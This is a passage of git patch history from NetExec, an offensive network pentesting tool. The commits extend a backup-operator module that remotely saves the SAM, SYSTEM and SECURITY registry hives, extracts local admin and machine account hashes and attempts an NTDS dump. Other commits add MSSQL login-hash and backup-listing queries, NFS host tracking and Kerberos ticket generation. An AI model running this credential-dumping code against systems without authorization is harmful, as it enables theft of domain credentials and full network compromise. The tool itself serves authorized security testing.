self._print_cleanup_warning(context, rand_suffix) + def _extract_da_hash(self, output_filename, context): try: with open(f"{output_filename}.ntds") as f: @@ -166,7 +163,7 @@ def _extract_da_hash(self, output_filename, context): return None, None def _print_cleanup_warning(self, context, rand_suffix): - context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}") + context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SYSTEM_{rand_suffix}") def _strip_root_key(self, dce, key_name): # Let's strip the root key From 0e80de5d68f67d88dcbd5f012200064c2da52ade Mon Sep 17 00:00:00 2001 From: T1erno Date: Sat, 4 Jul 2026 21:19:14 -0600 Subject: [PATCH 072/397] reintroduced samdump in backup operator --- nxc/modules/backup_operator.py | 75 ++++++++++++++++++++-------------- 1 file changed, 44 insertions(+), 31 deletions(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index da8c579b84..fe58edbdee 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -1,6 +1,7 @@ import contextlib +from time import sleep -from impacket.examples.secretsdump import LSASecrets, LocalOperations +from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError from impacket.dcerpc.v5 import rrp from nxc.helpers.misc import CATEGORY, gen_random_string @@ -16,8 +17,12 @@ class NXCModule: def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options + self.local_admin = None + self.local_admin_hash = None self.machine_account = None self.machine_account_hash = None + self.cleanup_user = None + self.cleanup_hash = None def options(self, context, module_options): """NO OPTIONS""" @@ -32,26 +37,40 @@ def on_login(self, context, connection): dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP) try: - for hive in ["HKLM\\SYSTEM", "HKLM\\SECURITY"]: + for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]: hRootKey, subKey = self._strip_root_key(dce, hive) outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}" - context.log.debug(f"Dumping {hive}...") - ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) - rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName) - context.log.highlight(f"Saved {hive} to {outputFileName}") - except Exception as e: - context.log.fail(f"Unexpected error during hive dump: {e}") + context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)") + try: + ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ) + rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName) + context.log.highlight(f"Saved {hive} to {outputFileName}") + except Exception as e: + context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}") + return + except (Exception, KeyboardInterrupt) as e: + context.log.fail(f"Unexpected error: {e}") return finally: with contextlib.suppress(Exception): dce.disconnect() - # copy remote files to local - for hive in ["SECURITY", "SYSTEM"]: - connection.get_file_single(f"{hive}_{rand_suffix}", f"{connection.output_filename}.{hive}") + # copy remote file to local + log_path = f"{connection.output_filename}." + for hive in ["SAM", "SECURITY", "SYSTEM"]: + connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive) # read local file try: + def parse_sam(secret): + context.log.highlight(secret) + if not self.local_admin: + first_line = secret.strip().splitlines()[0] + fields = first_line.split(":") + if len(fields) >= 4: + self.local_admin = fields[0] + self.local_admin_hash = fields[3] + def parse_lsa(secret_type, secret): context.log.highlight(secret) for line in secret.splitlines(): @@ -62,35 +81,31 @@ def parse_lsa(secret_type, secret): self.machine_account = account_name self.machine_account_hash = fields[2] - local_path = f"{connection.output_filename}." - local_operations = LocalOperations(local_path + "SYSTEM") + local_operations = LocalOperations(log_path + "SYSTEM") boot_key = local_operations.getBootKey() + sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam) + sam_hashes.dump() + sam_hashes.finish() - LSA = LSASecrets(local_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa) + LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa) LSA.dumpCachedHashes() LSA.dumpSecrets() except Exception as e: - context.log.fail(f"Fail to dump the lsa: {e!s}") + context.log.fail(f"Fail to dump the sam and lsa: {e!s}") # Attempt NTDS dump with DC Machine Account - cleanup_user, cleanup_hash = None, None if self._try_dump_ntds(connection, context, self.machine_account, self.machine_account_hash): - cleanup_user, cleanup_hash = self._extract_da_hash(connection.output_filename, context) - if not cleanup_user or not cleanup_hash: - # Fallback to cleaning up using the machine account if DA could not be extracted - cleanup_user, cleanup_hash = self.machine_account, self.machine_account_hash - - # Final Cleanup using native SMB deleteFile - if cleanup_user and cleanup_hash: - self._perform_cleanup(connection, context, cleanup_user, cleanup_hash, rand_suffix) + self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context) + if not self.cleanup_user or not self.cleanup_hash: + self.cleanup_user = self.machine_account + self.cleanup_hash = self.machine_account_hash + + self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix) else: context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.") self._print_cleanup_warning(context, rand_suffix) def _try_dump_ntds(self, connection, context, username, user_hash): - if not username or not user_hash: - return False - context.log.display(f"Attempting NTDS dump with: {username}") with contextlib.suppress(Exception): connection.conn.logoff() connection.create_conn_obj() @@ -110,7 +125,7 @@ def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix connection.create_conn_obj() if connection.hash_login(connection.domain, username, user_hash): context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}") - hives = ["SECURITY", "SYSTEM"] + hives = ["SAM", "SECURITY", "SYSTEM"] all_deleted = True for hive in hives: remote_name = f"{hive}_{rand_suffix}" @@ -124,7 +139,6 @@ def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix if "STATUS_ACCESS_DENIED" in str(e): context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...") try: - # Attempt to delete via execute command if direct SMB share delete gets ACCESS_DENIED connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}") continue except Exception as exec_err: @@ -133,7 +147,6 @@ def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix context.log.fail(f"Fail to remove the file {remote_name}: {e!s}") if all_deleted: - # Double check that files are gone double_check = True for hive in hives: remote_name = f"{hive}_{rand_suffix}" @@ -163,7 +176,7 @@ def _extract_da_hash(self, output_filename, context): return None, None def _print_cleanup_warning(self, context, rand_suffix): - context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SYSTEM_{rand_suffix}") + context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}") def _strip_root_key(self, dce, key_name): # Let's strip the root key From 337181e520bc691057a6cdd6c8cd6f92d47be5e2 Mon Sep 17 00:00:00 2001 From: T1erno Date: Sat, 4 Jul 2026 21:28:18 -0600 Subject: [PATCH 073/397] Ruff check on backup_operator --- nxc/modules/backup_operator.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/modules/backup_operator.py b/nxc/modules/backup_operator.py index fe58edbdee..3002e209dd 100644 --- a/nxc/modules/backup_operator.py +++ b/nxc/modules/backup_operator.py @@ -1,5 +1,4 @@ import contextlib -from time import sleep from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations from impacket.smbconnection import SessionError From 82d5c49485fa2d605b7453c1c9c5aaa9f0f2d2f5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Wed, 8 Jul 2026 13:29:09 +0200 Subject: [PATCH 074/397] Add mssql version and encryption req flags in DB --- nxc/protocols/mssql.py | 16 ++++++++-------- nxc/protocols/mssql/database.py | 14 +++++++++++--- nxc/protocols/mssql/db_navigator.py | 8 +++++--- 3 files changed, 24 insertions(+), 14 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index e483c5b123..7fa9746f48 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -97,6 +97,12 @@ def enum_host_info(self): resp = self.conn.preLogin() self.encryption = False + # Parses the MSSQL version + self.edition, self.version = ( + str(self.conn.mssql_version).split("Server ")[1].split(" (")[0], + str(self.conn.mssql_version).rsplit("(", 1)[1].rstrip(")") + ) + if resp["Encryption"] == TDS_ENCRYPT_REQ or resp["Encryption"] == TDS_ENCRYPT_OFF: # We switch to a TLS context handled by tds.py self.conn.set_tls_context() @@ -148,7 +154,7 @@ def enum_host_info(self): self.logger.debug(f"Server does not support NTLM{detail}") self.no_ntlm = True - self.db.add_host(self.host, self.hostname, self.domain, self.server_os, len(self.mssql_instances)) + self.db.add_host(self.host, self.hostname, self.domain, self.server_os, self.version, len(self.mssql_instances), self.encryption) if self.args.domain: self.domain = self.args.domain @@ -165,13 +171,7 @@ def enum_host_info(self): def print_host_info(self): encryption = colored(f"EncryptionReq:{self.encryption}", host_info_colors[0 if self.encryption else 1], attrs=["bold"]) ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" - - edition, version = ( - str(self.conn.mssql_version).split("Server ")[1].split(" (")[0], - str(self.conn.mssql_version).rsplit("(", 1)[1].rstrip(")") - ) - - self.logger.display(f"{self.server_os} ({edition} {version}) (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption}) {ntlm}") + self.logger.display(f"{self.server_os} ({self.edition} {self.version}) (name:{self.hostname}) (domain:{self.targetDomain}) ({encryption}) {ntlm}") @reconnect_mssql def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): diff --git a/nxc/protocols/mssql/database.py b/nxc/protocols/mssql/database.py index 52d04459d2..a592bd3e44 100755 --- a/nxc/protocols/mssql/database.py +++ b/nxc/protocols/mssql/database.py @@ -1,6 +1,6 @@ import warnings -from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete +from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, func, select, insert, delete, Boolean from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.exc import SAWarning from sqlalchemy.orm import declarative_base @@ -29,7 +29,9 @@ class Host(Base): hostname = Column(String) domain = Column(String) os = Column(String) + mssqlversion = Column(String) instances = Column(Integer) + encryptionReq = Column(Boolean) __table_args__ = ( PrimaryKeyConstraint("id"), @@ -83,12 +85,12 @@ def reflect_tables(self): self.AdminRelationsTable = self.reflect_table(self.AdminRelation) self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation) - def add_host(self, ip, hostname, domain, os, instances): + def add_host(self, ip, hostname, domain, os, mssqlversion, instances, encryptionReq): """ Check if this host has already been added to the database, if not, add it in. TODO: return inserted or updated row ids as a list """ - nxc_logger.debug(f"{domain} {ip} {os} {instances}") + nxc_logger.debug(f"{domain} {ip} {os} {mssqlversion} {instances} {encryptionReq}") if not domain: domain = "" hosts = [] @@ -102,7 +104,9 @@ def add_host(self, ip, hostname, domain, os, instances): "hostname": hostname, "domain": domain, "os": os, + "mssqlversion": mssqlversion, "instances": instances, + "encryptionReq": encryptionReq } if not results: @@ -118,8 +122,12 @@ def add_host(self, ip, hostname, domain, os, instances): host_data["domain"] = domain if os is not None: host_data["os"] = os + if mssqlversion is not None: + host_data["mssqlversion"] = mssqlversion if instances is not None: host_data["instances"] = instances + if encryptionReq is not None: + host_data["encryptionReq"] = encryptionReq if host_data not in hosts: hosts.append(host_data) diff --git a/nxc/protocols/mssql/db_navigator.py b/nxc/protocols/mssql/db_navigator.py index 51a817b676..b72228dcde 100644 --- a/nxc/protocols/mssql/db_navigator.py +++ b/nxc/protocols/mssql/db_navigator.py @@ -21,7 +21,7 @@ def display_creds(self, creds): print_table(data, title="Credentials") def display_hosts(self, hosts): - data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "DB Instances"]] + data = [["HostID", "Admins", "IP", "Hostname", "Domain", "OS", "MSSQL Version", "DB Instances", "EncryptionReq"]] for host in hosts: links = self.db.get_admin_relations(host_id=host[0]) data.append( @@ -33,6 +33,8 @@ def display_hosts(self, hosts): host[3], host[4], host[5], + host[6], + host[7] ] ) print_table(data, title="Hosts") @@ -49,12 +51,12 @@ def do_hosts(self, line): if len(hosts) > 1: self.display_hosts(hosts) elif len(hosts) == 1: - data = [["HostID", "IP", "Hostname", "Domain", "OS"]] + data = [["HostID", "IP", "Hostname", "Domain", "OS", "MSSQL Version", "DB Instances", "EncryptionReq"]] host_id_list = [] for host in hosts: host_id_list.append(host[0]) - data.append([host[0], host[1], host[2], host[3], host[4]]) + data.append([host[0], host[1], host[2], host[3], host[4], host[5], host[6], host[7]]) print_table(data, title="Host(s)") From ed450e2491af019b3506f8b21e3858c3e8d1e9a5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Wed, 8 Jul 2026 15:30:43 +0200 Subject: [PATCH 075/397] Add host database for NFS --- nxc/protocols/nfs.py | 2 + nxc/protocols/nfs/database.py | 67 ++++++++++++++++++++++++++++++- nxc/protocols/nfs/db_navigator.py | 37 ++++++++++++++++- 3 files changed, 103 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 8bf0b23b63..16b1f3122c 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -147,6 +147,8 @@ def enum_host_info(self): except Exception as e: self.logger.fail(f"Failed to connect to NFS3 host: {e}") + self.db.add_host(self.host, self.hostname, self.port, self.nfs_versions, self.root_escape) + def print_host_info(self): root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"]) self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})") diff --git a/nxc/protocols/nfs/database.py b/nxc/protocols/nfs/database.py index f367b673f4..0e68dd39b5 100644 --- a/nxc/protocols/nfs/database.py +++ b/nxc/protocols/nfs/database.py @@ -1,8 +1,9 @@ -from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String +from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, UniqueConstraint, String, select +from sqlalchemy.dialects.sqlite import Insert # used for upsert from sqlalchemy.orm import declarative_base - from nxc.database import BaseDB +from nxc.logger import nxc_logger Base = declarative_base() @@ -32,9 +33,12 @@ class Host(Base): ip = Column(String) hostname = Column(String) port = Column(Integer) + nfs_version = Column(String) + root_escape = Column(Boolean) __table_args__ = ( PrimaryKeyConstraint("id"), + UniqueConstraint("ip"), ) class LoggedInRelation(Base): @@ -69,3 +73,62 @@ def reflect_tables(self): self.HostsTable = self.reflect_table(self.Host) self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation) self.SharesTable = self.reflect_table(self.Share) + + def get_hosts(self, filter_term=None, domain=None): + """Return hosts from the database.""" + q = select(self.HostsTable) + results = self.db_execute(q).all() + nxc_logger.debug(f"NFS hosts() - results: {results}") + return results + + def add_host(self, ip, hostname, port, nfs_version, root_escape): + """Check if this host has already been added to the database, if not, add it in.""" + hosts = [] + updated_ids = [] + + q = select(self.HostsTable).filter(self.HostsTable.c.ip == ip) + results = self.db_execute(q).all() + + # create new host + if not results: + new_host = { + "ip": ip, + "hostname": hostname, + "port": port, + "nfs_version": str(nfs_version), + "root_escape": root_escape + } + hosts = [new_host] + # update existing hosts data + else: + for host in results: + host_data = host._asdict() + # only update column if it is being passed in + if ip is not None: + host_data["ip"] = ip + if hostname is not None: + host_data["hostname"] = hostname + if port is not None: + host_data["port"] = port + if nfs_version is not None: + host_data["nfs_version"] = str(nfs_version) + if root_escape is not None: + host_data["root_escape"] = root_escape + + # only add host to be updated if it has changed + if host_data not in hosts: + hosts.append(host_data) + updated_ids.append(host_data["id"]) + nxc_logger.debug(f"Update Hosts: {hosts}") + q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) + + # TODO: find a way to abstract this away to a single Upsert call + q = Insert(self.HostsTable) # .returning(self.HostsTable.c.id) + update_columns = {col.name: col for col in q.excluded if col.name not in "id"} + q = q.on_conflict_do_update(index_elements=["ip"], set_=update_columns) + + self.db_execute(q, hosts) # .scalar() + # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted + if updated_ids: + nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") + return updated_ids \ No newline at end of file diff --git a/nxc/protocols/nfs/db_navigator.py b/nxc/protocols/nfs/db_navigator.py index c712309b97..6d9df95457 100644 --- a/nxc/protocols/nfs/db_navigator.py +++ b/nxc/protocols/nfs/db_navigator.py @@ -1,4 +1,4 @@ -from nxc.nxcdb import DatabaseNavigator, print_help +from nxc.nxcdb import DatabaseNavigator, print_help, print_table class navigator(DatabaseNavigator): @@ -13,3 +13,38 @@ def help_clear_database(self): YOU CANNOT UNDO THIS COMMAND """ print_help(help_string) + + def do_hosts(self, line): + filter_term = line.strip() + + if filter_term == "": + hosts = self.db.get_hosts() + self.display_hosts(hosts) + else: + hosts = self.db.get_hosts(filter_term=filter_term) + + if len(hosts) > 1: + self.display_hosts(hosts) + elif len(hosts) == 1: + data = [["HostID", "IP", "Hostname", "Port", "Supported version", "Root escape"]] + host_id_list = [] + print(hosts) + for host in hosts: + host_id_list.append(host[0]) + data.append([host[0], host[1], host[2], host[3], host[4], host[5]]) + + print_table(data, title="Host(s)") + + def display_hosts(self, hosts): + data = [["HostID", "IP", "Hostname", "Port", "Supported version", "Root escape"]] + + for host in hosts: + host_id = host[0] + ip = host[1] + hostname = host[2] + port = host[3] + supported_version = host[4] + root_escape = host[5] + + data.append([host_id, ip, hostname, port, supported_version, root_escape]) + print_table(data, title="Hosts") From f01876f3f956274d17b16caff4b1e06d69f137bf Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Wed, 8 Jul 2026 17:22:57 +0200 Subject: [PATCH 076/397] Add hash algorithm in the output --- nxc/protocols/mssql.py | 18 +++++++++++++----- 1 file changed, 13 insertions(+), 5 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 8b49a28036..16ee0fa5ef 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -625,10 +625,17 @@ def db_hash(self): query = """ SELECT sp.name, + CASE + WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0200 THEN 'SHA-512' + WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0300 THEN 'PBKDF2' + WHEN SUBSTRING(sl.password_hash, 1, 2) = 0x0100 THEN 'SHA-1' + ELSE 'Unknown' + END AS hash_type, sl.password_hash FROM sys.server_principals sp - LEFT JOIN sys.sql_logins sl ON sp.principal_id = sl.principal_id - WHERE sp.type IN ('S', 'U', 'G', 'C', 'K') + INNER JOIN sys.sql_logins sl + ON sp.principal_id = sl.principal_id + WHERE sp.type = 'S' -- uniquement les logins SQL AND sp.name NOT LIKE '##%' ORDER BY sp.name; """ @@ -641,10 +648,11 @@ def db_hash(self): return else: self.logger.display("Enumerated logins") - self.logger.highlight(f"{'Login Name':<15} {'Database hash':<140}") - self.logger.highlight(f"{'----------':<15} {'----------':<140}") + self.logger.highlight(f"{'Login Name':<15} {'Hash type':<10} {'Database hash'}") + self.logger.highlight(f"{'----------':<15} {'----------':<10} {'--------------':}") for row in rows: name = row.get("name") + hash_type = row.get("hash_type") password_hash = row.get("password_hash") if password_hash != "NULL": - self.logger.highlight(f"{name:<15} {password_hash.decode():<140}") + self.logger.highlight(f"{name:<15} {hash_type:<10} {password_hash.decode():<140}") From c79f649f9d78d555a2acef9c252eb23915aab994 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Aur=C3=A9lien=20CHALOT?= Date: Wed, 8 Jul 2026 17:43:06 +0200 Subject: [PATCH 077/397] Add encryption status --- nxc/protocols/mssql.py | 21 ++++++++++++++------- 1 file changed, 14 insertions(+), 7 deletions(-) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 25d3699d88..ae6e8be09e 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -625,11 +625,17 @@ def list_backups(self): SELECT bs.database_name, bs.server_name, - bmf.physical_device_name AS backup_file_path - FROM msdb.dbo.backupset bs - INNER JOIN msdb.dbo.backupmediafamily bmf + bmf.physical_device_name AS backup_file_path, + CASE + WHEN bs.encryptor_type IS NULL THEN 'Unencrypted' + ELSE 'Encrypted' + END AS backup_encryption_status, + bs.encryptor_type, + bs.key_algorithm + FROM msdb.dbo.backupset AS bs + INNER JOIN msdb.dbo.backupmediafamily AS bmf ON bs.media_set_id = bmf.media_set_id - INNER JOIN sys.databases d + INNER JOIN sys.databases AS d ON bs.database_name = d.name ORDER BY bs.backup_finish_date DESC; """ @@ -642,9 +648,10 @@ def list_backups(self): return else: self.logger.display("Enumerated backups") - self.logger.highlight(f"{'Backup Name':<30} {'Backup Path'}") - self.logger.highlight(f"{'----------':<30} {'----------'}") + self.logger.highlight(f"{'Backup Name':<20} {'Encryption':<15} {'Backup Path'}") + self.logger.highlight(f"{'-----------':<20} {'----------':<15} {'-----------'}") for row in rows: database_name = row.get("database_name").strip() + is_encrypted = row.get("backup_encryption_status").strip() backup_file_path = row.get("backup_file_path").strip() - self.logger.highlight(f"{database_name:<30} {backup_file_path}") + self.logger.highlight(f"{database_name:<20} {is_encrypted:<15s} {backup_file_path}") From 7718ecf5260212641462f97cee1c44e91bd19084 Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 9 Jul 2026 09:17:08 +0200 Subject: [PATCH 078/397] only capture TGT/ST when --generate-st is set --- nxc/protocols/smb.py | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 267dc977e8..b12a09034e 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -404,9 +404,12 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) - with contextlib.suppress(Exception): - creds = self.conn.getCredentials() - self.tgt, self.tgs = creds[6], creds[7] + if self.args.generate_st: + try: + creds = self.conn.getCredentials() + self.tgt, self.tgs = creds[6], creds[7] + except Exception as e: + self.logger.debug(f"Could not retrieve credentials for --generate-st: {e}") if "Unix" not in self.server_os: self.check_if_admin() From 77889ae7caad3c1d10f3e14f9a2ca493a672e28d Mon Sep 17 00:00:00 2001 From: azoxlpf <213314124+azoxlpf@users.noreply.github.com> Date: Thu, 9 Jul 2026 11:08:37 +0200 Subject: [PATCH 079/397] switched to fail + return False --- nxc/protocols/smb.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index b12a09034e..59a45ee7ed 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -409,7 +409,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", creds = self.conn.getCredentials() self.tgt, self.tgs = creds[6], creds[7] except Exception as e: - self.logger.debug(f"Could not retrieve credentials for --generate-st: {e}") + self.logger.fail(f"Could not retrieve credentials for --generate-st: {e}") + return False if "Unix" not in self.server_os: self.check_if_admin() From eb4b2b45fc7ae28c7194186a5e3dd3cbd13e2c6e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 11 Jul 2026 11:22:03 -0400 Subject: [PATCH 080/397] Do kerberos auth when requesting a ST and add default SPN for storing ST --- nxc/connection.py | 1 + nxc/protocols/smb.py | 10 ++++------ 2 files changed, 5 insertions(+), 6 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index f20d05ddaa..cff0628253 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -148,6 +148,7 @@ def __init__(self, args, db, target): self.args.use_kcache or self.args.aesKey or (hasattr(self.args, "delegate") and self.args.delegate) or + (hasattr(self.args, "generate_st") and self.args.generate_st) or (hasattr(self.args, "no_preauth_targets") and self.args.no_preauth_targets)) self.aesKey = None if not self.args.aesKey else self.args.aesKey[0] self.use_kcache = None if not self.args.use_kcache else self.args.use_kcache diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 59a45ee7ed..ed8292d243 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -762,11 +762,9 @@ def generate_st(self): if self.args.delegate: return - if not self.args.spn: - self.logger.fail("--spn is required with --generate-st when --delegate is not used") - return + spn = f"cifs/{self.remoteName}" if not self.args.spn else self.args.spn - self.logger.info(f"Attempting to get ST for SPN {self.args.spn} as {self.username}@{self.domain}") + self.logger.info(f"Attempting to get ST for SPN {spn} as {self.username}@{self.domain}") try: tgt = cipher = tgt_session_key = None @@ -800,7 +798,7 @@ def generate_st(self): ) self.logger.debug(f"TGT obtained for {self.username}@{self.domain}") - server_name = Principal(self.args.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) + server_name = Principal(spn, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, _, tgs_session_key, _ = getKerberosTGS( server_name, self.domain.upper(), @@ -809,7 +807,7 @@ def generate_st(self): cipher, tgt_session_key, ) - self.logger.debug(f"ST successfully obtained for SPN {self.args.spn}") + self.logger.debug(f"ST successfully obtained for SPN {spn}") ccache = CCache() ccache.fromTGS(tgs, tgs_session_key, tgs_session_key) From c30a780bc32d9bfb4aab556d6e28bb81c0c5f6d6 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 11 Jul 2026 11:36:53 -0400 Subject: [PATCH 081/397] Linting --- nxc/protocols/nfs/database.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/nfs/database.py b/nxc/protocols/nfs/database.py index 0e68dd39b5..fa58a74b13 100644 --- a/nxc/protocols/nfs/database.py +++ b/nxc/protocols/nfs/database.py @@ -131,4 +131,4 @@ def add_host(self, ip, hostname, port, nfs_version, root_escape): # we only return updated IDs for now - when RETURNING clause is allowed we can return inserted if updated_ids: nxc_logger.debug(f"add_host() - Host IDs Updated: {updated_ids}") - return updated_ids \ No newline at end of file + return updated_ids From 7ceac6e738de4b90e00fed2445b34717c8d12537 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 11 Jul 2026 11:43:46 -0400 Subject: [PATCH 082/397] Don't allow anon auth in mssql --- nxc/connection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index f20d05ddaa..701ea8f28e 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -254,7 +254,7 @@ def proto_flow(self): self.output_filename = os.path.join(base_log_dir, filename_pattern) self.print_host_info() - if self.login() or (self.username == "" and self.password == ""): + if self.login() or (self.username == "" and self.password == "" and self.protocol != "mssql"): self.logger.debug("Calling command arguments") self.call_cmd_args() if self.args.module: From 6de681f84e41c196575dab5c3f9bcb9bf4b746ff Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sat, 11 Jul 2026 12:19:27 -0400 Subject: [PATCH 083/397] Set context to class var and remove unnecessary logic --- nxc/modules/gpp_privileges.py | 116 +++++++++++++--------------------- 1 file changed, 44 insertions(+), 72 deletions(-) diff --git a/nxc/modules/gpp_privileges.py b/nxc/modules/gpp_privileges.py index 491f49350c..d680a54780 100644 --- a/nxc/modules/gpp_privileges.py +++ b/nxc/modules/gpp_privileges.py @@ -1,7 +1,6 @@ import re from io import BytesIO from impacket.ldap import ldap as ldap_impacket -from impacket.ldap import ldapasn1 as ldapasn1_impacket from nxc.helpers.misc import CATEGORY from nxc.parsers.ldap_results import parse_result_attributes @@ -99,24 +98,25 @@ def options(self, context, module_options): self.no_ldap = module_options.get("NO_LDAP", False) def on_login(self, context, connection): + self.context = context try: connection.conn.listPath("SYSVOL", "*") except Exception as e: - context.log.fail(f"Failed to list shares: {e}") + self.context.log.fail(f"Failed to list shares: {e}") return - context.log.display("Searching for GptTmpl.inf files") + self.context.log.display("Searching for GptTmpl.inf files") paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"]) if not paths: - context.log.warning("No GptTmpl.inf files found in SYSVOL.") + self.context.log.warning("No GptTmpl.inf files found in SYSVOL.") return for path in paths: if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy - context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}") + self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}") else: - context.log.info(f"Found GptTmpl.inf: {path}") + self.context.log.info(f"Found GptTmpl.inf: {path}") buf = BytesIO() connection.conn.getFile("SYSVOL", path, buf.write) @@ -124,19 +124,19 @@ def on_login(self, context, connection): try: content = buf.getvalue().decode("utf-16le") except UnicodeDecodeError as e: - context.log.error(f"Failed to decode {path} as UTF-16LE: {e}") + self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}") continue privileges = self.extract_privileges(content) if privileges: ldap_connection = None if not self.no_ldap: - ldap_connection = self.initialize_ldap_connection(context, 